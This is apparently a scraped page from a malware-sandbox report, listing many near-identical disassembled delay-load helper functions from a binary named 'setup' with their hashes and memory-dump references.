Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b9753e33323548751c49264d505d82897bdd89150d600228952dacac2021edf5
Instruction ID: 52d3d9014ab821e637a70dea1dca634c10a00db9a6d46f7b808dc7b12150b334
Opcode Fuzzy Hash: b9753e33323548751c49264d505d82897bdd89150d600228952dacac2021edf5
Instruction Fuzzy Hash: 83A0129596C0027C300831016C07E37031CC4D6B11730480FB007914C0944C1805043D

Function 004AD951 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 01eb5cd06e9661a22943b822a3fa771ab2c8616898ad5d5c5c722731155f848f
Instruction ID: 52d3d9014ab821e637a70dea1dca634c10a00db9a6d46f7b808dc7b12150b334
Opcode Fuzzy Hash: 01eb5cd06e9661a22943b822a3fa771ab2c8616898ad5d5c5c722731155f848f
Instruction Fuzzy Hash: 83A0129596C0027C300831016C07E37031CC4D6B11730480FB007914C0944C1805043D

Function 004AD96F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 938abaaf373127bdff2e886983685fd5b3df001ee7ba36ee5c5c1d2e1217ade9
Instruction ID: 52d3d9014ab821e637a70dea1dca634c10a00db9a6d46f7b808dc7b12150b334
Opcode Fuzzy Hash: 938abaaf373127bdff2e886983685fd5b3df001ee7ba36ee5c5c1d2e1217ade9
Instruction Fuzzy Hash: 83A0129596C0027C300831016C07E37031CC4D6B11730480FB007914C0944C1805043D

Function 004AD965 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 51fc9ab07ef65ff7dafc4053e0bd016e7f827d73e6ca5e867fc747fe52c51dae
Instruction ID: 52d3d9014ab821e637a70dea1dca634c10a00db9a6d46f7b808dc7b12150b334
Opcode Fuzzy Hash: 51fc9ab07ef65ff7dafc4053e0bd016e7f827d73e6ca5e867fc747fe52c51dae
Instruction Fuzzy Hash: 83A0129596C0027C300831016C07E37031CC4D6B11730480FB007914C0944C1805043D

Function 004AD979 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c22ab273dc1ddab44406ba1288cfb42ea432f851abeab6fe2c83e88dc5d6b65a
Instruction ID: 52d3d9014ab821e637a70dea1dca634c10a00db9a6d46f7b808dc7b12150b334
Opcode Fuzzy Hash: c22ab273dc1ddab44406ba1288cfb42ea432f851abeab6fe2c83e88dc5d6b65a
Instruction Fuzzy Hash: 83A0129596C0027C300831016C07E37031CC4D6B11730480FB007914C0944C1805043D

Function 004AD91F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6a240a7b2d6032ce2b804256f69d1a27ef7ea9eac03723ad1c7181cab80a211b
Instruction ID: 52d3d9014ab821e637a70dea1dca634c10a00db9a6d46f7b808dc7b12150b334
Opcode Fuzzy Hash: 6a240a7b2d6032ce2b804256f69d1a27ef7ea9eac03723ad1c7181cab80a211b
Instruction Fuzzy Hash: 83A0129596C0027C300831016C07E37031CC4D6B11730480FB007914C0944C1805043D

Function 004AD93D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 301dbfe842dbca441091182dbb7add36babd661818f881045dc3a863a711d66f
Instruction ID: 52d3d9014ab821e637a70dea1dca634c10a00db9a6d46f7b808dc7b12150b334
Opcode Fuzzy Hash: 301dbfe842dbca441091182dbb7add36babd661818f881045dc3a863a711d66f
Instruction Fuzzy Hash: 83A0129596C0027C300831016C07E37031CC4D6B11730480FB007914C0944C1805043D

Function 004AD98D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b5ac71e3f4317485887b60a7b6dd96d93c9aedf53e8cb4e81bdde0f0fecf1a7b
Instruction ID: 52d3d9014ab821e637a70dea1dca634c10a00db9a6d46f7b808dc7b12150b334
Opcode Fuzzy Hash: b5ac71e3f4317485887b60a7b6dd96d93c9aedf53e8cb4e81bdde0f0fecf1a7b
Instruction Fuzzy Hash: 83A0129596C0027C300831016C07E37031CC4D6B11730480FB007914C0944C1805043D

Function 004AD983 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: aa1e8f82cdd3b70cf9cdee868e3fcf0047cb69c6f68f2a424c7cabdfe2220301
Instruction ID: 52d3d9014ab821e637a70dea1dca634c10a00db9a6d46f7b808dc7b12150b334
Opcode Fuzzy Hash: aa1e8f82cdd3b70cf9cdee868e3fcf0047cb69c6f68f2a424c7cabdfe2220301
Instruction Fuzzy Hash: 83A0129596C0027C300831016C07E37031CC4D6B11730480FB007914C0944C1805043D

Function 004AD997 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004AD8A3

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0d16f28c8d6876ffc8f84e0af7827626c533b3f17409d3aa36b8c687d79ad918
Instruction ID: 52d3d9014ab821e637a70dea1dca634c10a00db9a6d46f7b808dc7b12150b334
Opcode Fuzzy Hash: 0d16f28c8d6876ffc8f84e0af7827626c533b3f17409d3aa36b8c687d79ad918
Instruction Fuzzy Hash: 83A0129596C0027C300831016C07E37031CC4D6B11730480FB007914C0944C1805043D

Function 004ADACA Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADAB2

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b6aabd34dbff0072720bfc5bd77ec62d4b0ddba4f862e9e6b5e88b94e075c3b1
Instruction ID: 017309be067e625e4a8daecce396ab7ca52dcd80f56eaaaa07d934775a611a5b
Opcode Fuzzy Hash: b6aabd34dbff0072720bfc5bd77ec62d4b0ddba4f862e9e6b5e88b94e075c3b1
Instruction Fuzzy Hash: C3A0129556C0027C300831026C03E3B021CC0D5B11730450FB00780444544C0805043D

Function 004ADAC0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADAB2

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 60499b7d9a87fa95a2189396fa650b8cbc5101773cca313bcdf7b4e988e9223f
Instruction ID: 017309be067e625e4a8daecce396ab7ca52dcd80f56eaaaa07d934775a611a5b
Opcode Fuzzy Hash: 60499b7d9a87fa95a2189396fa650b8cbc5101773cca313bcdf7b4e988e9223f
Instruction Fuzzy Hash: C3A0129556C0027C300831026C03E3B021CC0D5B11730450FB00780444544C0805043D

Function 004ADAE8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADAB2

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a06953ca6e5a877f6b4d7ec4940a9764a6988ceb26e63a3a8cfd9d23a0f16d2c
Instruction ID: 017309be067e625e4a8daecce396ab7ca52dcd80f56eaaaa07d934775a611a5b
Opcode Fuzzy Hash: a06953ca6e5a877f6b4d7ec4940a9764a6988ceb26e63a3a8cfd9d23a0f16d2c
Instruction Fuzzy Hash: C3A0129556C0027C300831026C03E3B021CC0D5B11730450FB00780444544C0805043D

Function 004ADAFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADAB2

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fccbe8790ef2941214f6ad8c7a18b58f0b243e65d009f607052d9e82baa72c19
Instruction ID: 017309be067e625e4a8daecce396ab7ca52dcd80f56eaaaa07d934775a611a5b
Opcode Fuzzy Hash: fccbe8790ef2941214f6ad8c7a18b58f0b243e65d009f607052d9e82baa72c19
Instruction Fuzzy Hash: C3A0129556C0027C300831026C03E3B021CC0D5B11730450FB00780444544C0805043D

Function 004ADAF2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADAB2

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f3ae0efb04d0ed62f48786fc0729ece1fc4994bc2c74f939afb439387fe9ccee
Instruction ID: 017309be067e625e4a8daecce396ab7ca52dcd80f56eaaaa07d934775a611a5b
Opcode Fuzzy Hash: f3ae0efb04d0ed62f48786fc0729ece1fc4994bc2c74f939afb439387fe9ccee
Instruction Fuzzy Hash: C3A0129556C0027C300831026C03E3B021CC0D5B11730450FB00780444544C0805043D

Function 004ADAA5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADAB2

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9002a73be8256b0d7b71cb143fb2a27699804c36074a968640ddd7ac63c4b43f
Instruction ID: d96151cc243b55ed7ce1da11d5618e339bbdc49371167a0366344d70c142fc6b
Opcode Fuzzy Hash: 9002a73be8256b0d7b71cb143fb2a27699804c36074a968640ddd7ac63c4b43f
Instruction Fuzzy Hash: EAA0129566C0013C30487102AC03E3B021CC0E1B12730410FB00790444544C0805043D

Function 004ADBF7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADBD5

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c659b48ec5d49d6b12bae6fc91c0fcb956d53b816af350ae1d89ed88d313f6a8
Instruction ID: 91adac904859a3736978f44e17c63e7b2af2ecc86cabc364e2406cc78cf74ff7
Opcode Fuzzy Hash: c659b48ec5d49d6b12bae6fc91c0fcb956d53b816af350ae1d89ed88d313f6a8
Instruction Fuzzy Hash: 3EA0129966C0027C300811412C07E37022CC0D9F10730440FB0078044059481C05043D

Function 004ADC4E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 004ADC36

Part of subcall function 004ADF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 004ADFD6
Part of subcall function 004ADF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004ADFE7

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
